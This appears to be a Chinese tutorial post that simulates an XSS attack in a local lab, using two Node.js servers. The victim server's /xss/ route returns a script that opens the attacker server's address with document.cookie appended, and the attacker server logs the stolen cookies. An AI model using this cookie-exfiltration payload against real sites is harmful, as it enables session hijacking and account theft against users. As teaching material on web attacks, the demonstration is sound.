xss攻击

这一篇，对xss攻击进行模拟，

服务4（被攻击对象，这里将其部署在http://127.0.0.1:8004）

var http = require('http');
var url = require('url');

http.createServer(function (req, res) {
    // 打印url
    var pathname = url.parse(req.url).pathname;
    console.log('Request for ' + pathname + ' received.');
    if (pathname == "/xss/")
    {
        res.writeHead(200,{
            'Content-Type': 'text/html'
        });
        res.end('<script>window.open("http://192.168.10.133:8003?cookie="+document.cookie)</script>\n');
    }
    else
    {
        // 获取客户端的Cookie
        var Cookies = {}
        req.headers.cookie && req.headers.cookie.split(';').forEach(function(Cookie){
            var parts = Cookie.split('=');
            Cookies[parts[0].trim()] = (parts[1]||'').trim();
        });
        console.log(Cookies);
        // 向客户端发送一个Cookie
        res.writeHead(200,{
            'Set-Cookie': 'myCookie8004=test4',
            'Content-Type': 'text/plain'
        });
        res.end('Hello World\n');
    }
}).listen(8004,'127.0.0.1');

console.log('Server running at http://127.0.0.1:8004/');

服务3（攻击者，这里部署在http://192.168.10.133:8003）

var http = require('http');
var url = require('url');

http.createServer(function (req, res) {
    // 打印url
    var pathname = url.parse(req.url).pathname;
    console.log('Request for ' + pathname + ' received.');
    // 获取客户端的Cookie
    var Cookies = {}
    req.headers.cookie && req.headers.cookie.split(';').forEach(function(Cookie){
        var parts = Cookie.split('=');
        Cookies[parts[0].trim()] = (parts[1]||'').trim();
    });
    console.log(Cookies);
    // 向客户端发送一个Cookie
    res.writeHead(200,{
        'Set-Cookie': 'myCookie8003=test3',
        'Content-Type': 'text/plain'
    });
    res.end('Hello World\n');
}).listen(8003,'192.168.10.133');

console.log('Server running at http://192.168.10.133:8003/');